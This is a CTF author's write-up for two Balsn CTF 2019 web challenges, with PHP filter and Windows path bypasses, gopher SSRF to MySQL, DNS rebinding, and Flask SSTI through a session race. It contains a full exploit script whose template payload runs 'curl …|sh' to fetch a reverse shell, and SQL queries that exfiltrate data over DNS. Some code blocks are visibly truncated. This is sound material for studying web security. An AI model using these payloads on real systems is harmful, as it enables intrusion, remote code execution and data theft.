# Balsn CTF 2019

[中文版 Chinese Version](https://github.com/w181496/My-CTF-
Challenges/blob/master/Balsn-CTF-2019/README_tw.md)

# Warmup

\- Difficulty: ★★  
\- Type: Web  
\- Solved: 5 / 720  
\- Tag: PHP, SSRF, MySQL, Windows

## Description

Baby PHP challenge again.

![](https://i.imgur.com/jIk1rJT.jpg)

[Link](http://warmup.balsnctf.com)

## Source Code

\- [Warmup](https://github.com/w181496/My-CTF-Challenges/blob/master/Balsn-
CTF-2019/Warmup/index.php)

## Solution

This challenge consists of many simple and old PHP/Windows tricks.

### Step 1

In this challenge, you should refactor the code first.  
(Because the source code is so ugly and hard to read :p)

After refactoring, you will get the clean code like this:

```php  
―(#°ω°#)♡→'];  
  
if( preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i',$_) ||
@strlen(count_chars(strtolower($_), 0x3)) > 0xd || @strlen($_) > 19 )  
exit($secret);  
  
$ch = curl_init());  
@curl_setopt($ch, CURLOPT_URL,  
str_replace("%33%33%61", ">__<",  
str_replace("%63%3a", "WTF", str_replace("633a", ":)",  
str_repLace("433a", ":(",  
str_replace("\x63:", "ggininder",  
strtolower(  
eval("return $_;")  
))))))  
);  
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
@curl_setopt($ch, CURLOPT_TIMEOUT, 1);  
@curl_EXEC($ch);  
  
} else {  
  
if(@stRLEn($op) < 4 && @($op + 78) < 'A__A') {  
  
// There is a invisible character here. (\xe2\x81\xa3)  
$_ = @$_GET['⁣'];  
  
if((strtolower(substr($_, -4)) === '.php') ||  
(strtolower(substr($_, -4)) === 'php.') ||  
(stripos($_, "\"") !== FALSE) ||  
(stripos($_, "\x3e") !== FALSE) ||  
(stripos($_,"\x3c") !== FALSE) ||  
(stripos(strtolower($_), "amp") !== FALSE))  
die($secret);  
  
if(stripos($_, "..") !== FALSE)  
die($secret);  
  
if(stripos($_, "\x24") !== FALSE)  
die($secret);  
  
print_r(substr(@file_get_contents($_), 0, 155));  
  
} else {  
  
die($secret);

// It is useless, because there is a die function before it. :D  
system($_GET[0x9487945]);  
  
}  
}  
```

  

### Step 2

Let's try to read the `config.php`

There are two methods:

1\. use the `file_get_contents()` (Intended)  
2\. use the `eval()` (Unintended)

  

**Method 0x1**

`if(@stRLEn($op) < 4 && @($op + 78) < 'A__A')`

For this if condition, we can simply use `op=-99` to pass it.

After that, we can input our filename for `file_get_contents()` here:

`$_ = @$_GET['⁣'];`

The argument of the `$_GET` is `\xE2\x81\xA3`, it is an invisible character.

  

Our target is to read `config.php`, but there is some check for our filename:

We can't use the `.php`, `php.` filename suffix and we can't use `"`, `>`,
`<`, `amp`, `$`, `..` in the filename.

To bypass this restriction to read the php source code, you just need to
append a space character after the filename:

`config.php[SPACE]`

(Because the server is running on Windows, there are some weird path
normalization rule here :p)

  

If you try to read the source code of `config.php` like this:

`http://warmup.balsnctf.com/?op=-99&%E2%81%A3=config.php%20`

You will get the partial content of `config.php`:

```php

We should use some special php wrapper to compress the content of `config.php`
first.

And `php://filter/zlib.deflate` is your best friend!

Use `zlib.deflate` to compress the content and then decompress it by using
`zlib.inflate`.

Script:

```php  
") + 7;  
file_put_contents("/tmp/tmp", substr($a, $idx));

echo (file_get_contents("php://filter/zlib.inflate/resource=/tmp/tmp"));  
```

Now you have the `config.php`:

```php

**Method 0x2**

Many teams use the `eval()` of the first branch to read `config.php`.

In this `eval()` branch, your input `$_` will put into `eval("return $_;")`.

Here is a strict regex rule to check our input.

```php  
if( preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i',$_) ||
@strlen(count_chars(strtolower($_), 0x3)) > 0xd || @strlen($_) > 19 )  
exit($secret);  
```

But we can use `~` operator to bypass many restrictions.

Example: `~urldecode("%8D%9A%9E%9B%99%96%93%9A")` is equal to `readfile`.

  

In Windows, there are some **MAGIC** wildcard features for path normalization.

Example:

`>` will match one arbitrary character. (like `?` on Linux)

`<` will match zero or more arbitrary characters. (like `*` on Linux)

(more detail: [My-CTF-CheatSheet](https://github.com/w181496/Web-CTF-
Cheatsheet#%E8%B7%AF%E5%BE%91%E6%AD%A3%E8%A6%8F%E5%8C%96))

Combine the `~` trick and `<` trick together:

`/?op=-9&Σ>―(%23°ω°%23)♡→=(~%8D%9A%9E%9B%99%96%93%9A)(~%9C%90%C3%C3)`

(It is same as `readfile("co<<")`)

  

### Step 3

The content of `config.php` tells us that the flag is in the MySQL database.  
Our next target is to query MySQL Server and get the result.

And we know the user is `admin` with empty password, so we can use `gopher://`
protocol to SSRF to query the MySQL Server.

  

Since the gopher payload is toooooo long, we should find a way to bypass the
strict regex rule first.

If you try to search all PHP functions that satisfy the regex rule and length
limit, you will find a useful function: `getenv()`.  
This function will return the specifying header value.

Hence, we can put our gopher payload into the HTTP header:

`(~%98%9A%8B%9A%91%89)(~%B7%AB%AB%AF%A0%AB)` (length: 18)

It is equal to `getenv("HTTP_T")`.

  

### Step 4

Now, you have a blind SSRF!

For the MySQL protocol, you can use some tools like
[Gopherus](https://github.com/tarunkant/Gopherus) to create the gopher
payload.

At last, you just need to use Time-based or Out-of-band (DNS log) methods to
exfiltrate the query result.

\- `select
load_file(concat("\\\\\\\",table_name,".e222e6f24ba81a9b414f.d.zhack.ca/a"))
from information_schema.tables where table_schema="ThisIsTheDbName";`  
\- Output: `fl4ggg`  
\- `select
load_file(concat("\\\\\\\",column_name,".e222e6f24ba81a9b414f.d.zhack.ca/a"))
from information_schema.columns where table_name="fl4ggg";`  
\- Output: `the_flag_col`  
\- `select
load_file(concat("\\\\\\\",hex(the_flag_col),".e222e6f24ba81a9b414f.d.zhack.ca/a"))
from ThisIsTheDbName.fl4ggg;`  
\- Output: `42616C736E7B337A5F77316E643077735F7068705F6368346C7D`  
\- hex to ascii: `Balsn{3z_w1nd0ws_php_ch4l}`

## Writeups

\- [movrment's writeup](https://movrment.blogspot.com/2019/10/balsn-
ctf-2019-web-warmup.html)

\---

  

# 卍乂Oo韓國魚oO乂卍 (Koreanfish)

\- Difficulty: ★  
\- Type: Web  
\- Solved: 15 / 720  
\- Tag: PHP, DNS Rebinding, Flask, Race condition, SSTI, RCE

## Description

Taiwanese people love korean fish.

[Server Link](http://koreanfish.balsnctf.com/)

[Download](https://static.balsnctf.com/koreafish/d68fcc656a04423422ff162d9793606f2c5068904fced9087edc28efc411e7b7/koreafish-
src.zip)

## Source Code

\- [Koreanfish](https://github.com/w181496/My-CTF-
Challenges/blob/master/Balsn-CTF-2019/Koreanfish/)

## Solution

This is a white-box challenge, and all the source code are very short and
simple :D

  

### Step 1

If you look at the source code of `index.php`, you will know the first target
is to bypass IP limit.

Actually, here is a obvious DNS Rebinding vulnerability that can bypass IP
limit:

```  
$ip = @dns_get_record($res['host'], DNS_A)[0]['ip'];  
...  
$dev_ip = "54.87.54.87";  
if($ip === $dev_ip) {  
$content = file_get_contents($dst);  
```

The `file_get_contents()` will query DNS again and read the response.

If we set our domain's A record to `54.87.54.87` and `127.0.0.1`, it has some
possibilities to bypass IP restriction to query internal services.

If you don't have any domain ...

Don't worry!

You can use some online DNS Rebinding services like `rbndr.us`.

e.g. `36573657.7f000001.rbndr.us` will return `54.87.54.87` or `127.0.0.1`.

  

### Step 2

From the dockerfile, we know there is a simple flask app running on the same
server.

And there is a obvious SSTI vulnerability on `/error_page` function, it uses
`render_template_string()` with controllable content.

  

If the `error_status` set to absolute path, then the return path of
`os.path.join()` will be overwritten.

e.g. `os.path.join("/var/www/flask", "error", "/etc/passwd")` will return
`/etc/passwd`

  

But the problem here is that you can't directly touch this `/error_page`.

Because the front-end php will check the query path, the path has to contain
the string of `korea`:

`if(stripos($res['path'], "korea") === FALSE) die("Error");`

  

There are two ways that can bypass this path restriction:

  

**Method 0x1**

You can use redirect!

Using DNS Rebinding to your Server IP, Then set the path `/korea` to redirect
to `127.0.0.1:5000/error_page?err=....`.

The reason is that `file_get_contents()` will follow the 302 redirect.

  

**Method 0x2**

Using Flask's special feature!

In the flask app, `//korea/ping` is equal to `/ping`.

Therefore, you can just use `//korea/error_page?err=....` to bypass the
restriction.

  

### Step 3

Now, we can control the path of the content that `render_template_string()`
read.

You should find a file that can be placed our controllable payload.

Because the server is running with PHP, you can use the
`session.upload_progress` trick to upload your SSTI payload to the session
file.

If you provide the `PHP_SESSION_UPLOAD_PROGRESS` in the multipart POST data,
PHP will enable the session for you.

(The concept is same as HITCON CTF 2018 - one line php challenge:
[Link](https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-
challenge.html).)

(Note: your payload couldn't contain `|`, because that will break the session
content format.)

  

### Step 4

The default `session.upload_progress.cleanup` setting is `On`, so your SSTI
payload will be cleaned quickly.

OK! Let's Race it!

Exploit script:

```python  
import sys  
import string  
import requests  
from base64 import b64encode  
from random import sample, randint  
from multiprocessing.dummy import Pool as ThreadPool

HOST = 'http://koreanfish4.balsnctf.com/index.php'  
sess_name = 'iamkaibro'

headers = {  
'Connection': 'close',  
'Cookie': 'PHPSESSID=' + sess_name  
}

payload = """  
{% for c in []['__class__']['__base__']['__subclasses__']() %}  
{% if c['__name__'] == 'catch_warnings' %}  
{% for b in c['__init__']['__globals__']['values']() %}  
{% if b['__class__']=={}['__class__'] %}  
{% if 'eval' in b['keys']() %}  
{% if b['eval']('__import__("os")\\\x2epopen("curl
kaibro\\\x2etw/yy\\\x7csh")') %}{% endif %}  
{% endif %}  
{% endif %}  
{% endfor %}  
{% endif %}  
{% endfor %}  
"""

def runner1(i):  
data = {  
'PHP_SESSION_UPLOAD_PROGRESS': payload  
}  
while 1:  
fp = open('/etc/passwd', 'rb')  
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)  
fp.close()

def runner2(i):  
filename = '/var/lib/php/sessions/sess_' + sess_name  
# print filename  
while 1:  
url =
'{}?%F0%9F%87%B0%F0%9F%87%B7%F0%9F%90%9F=http://36573657.7f000001.rbndr.us:5000//korea/error_page%3Ferr={}'.format(HOST,
filename)  
r = requests.get(url, headers=headers)  
c = r.content  
print [c]

if sys.argv[1] == '1':  
runner = runner1  
else:  
runner = runner2

pool = ThreadPool(32)  
result = pool.map_async( runner, range(32) ).get(0xffff)  
```

Have a cup of coffee, then you'll see the reverse shell back. :D

For the detail of bypassing the SSTI sanitizing, you can read my cheatsheet:
[Link](https://github.com/w181496/Web-CTF-Cheatsheet#flaskjinja2)

## Writeups

\- [tr1ple's writeup](https://www.cnblogs.com/tr1ple/p/11682014.html#xwrEKctS)

\---

Hope you like these challenges. :p  

Original writeup (https://github.com/w181496/My-CTF-
Challenges/tree/master/Balsn-
CTF-2019#%E5%8D%8D%E4%B9%82oo%E9%9F%93%E5%9C%8B%E9%AD%9Aoo%E4%B9%82%E5%8D%8D-koreanfish).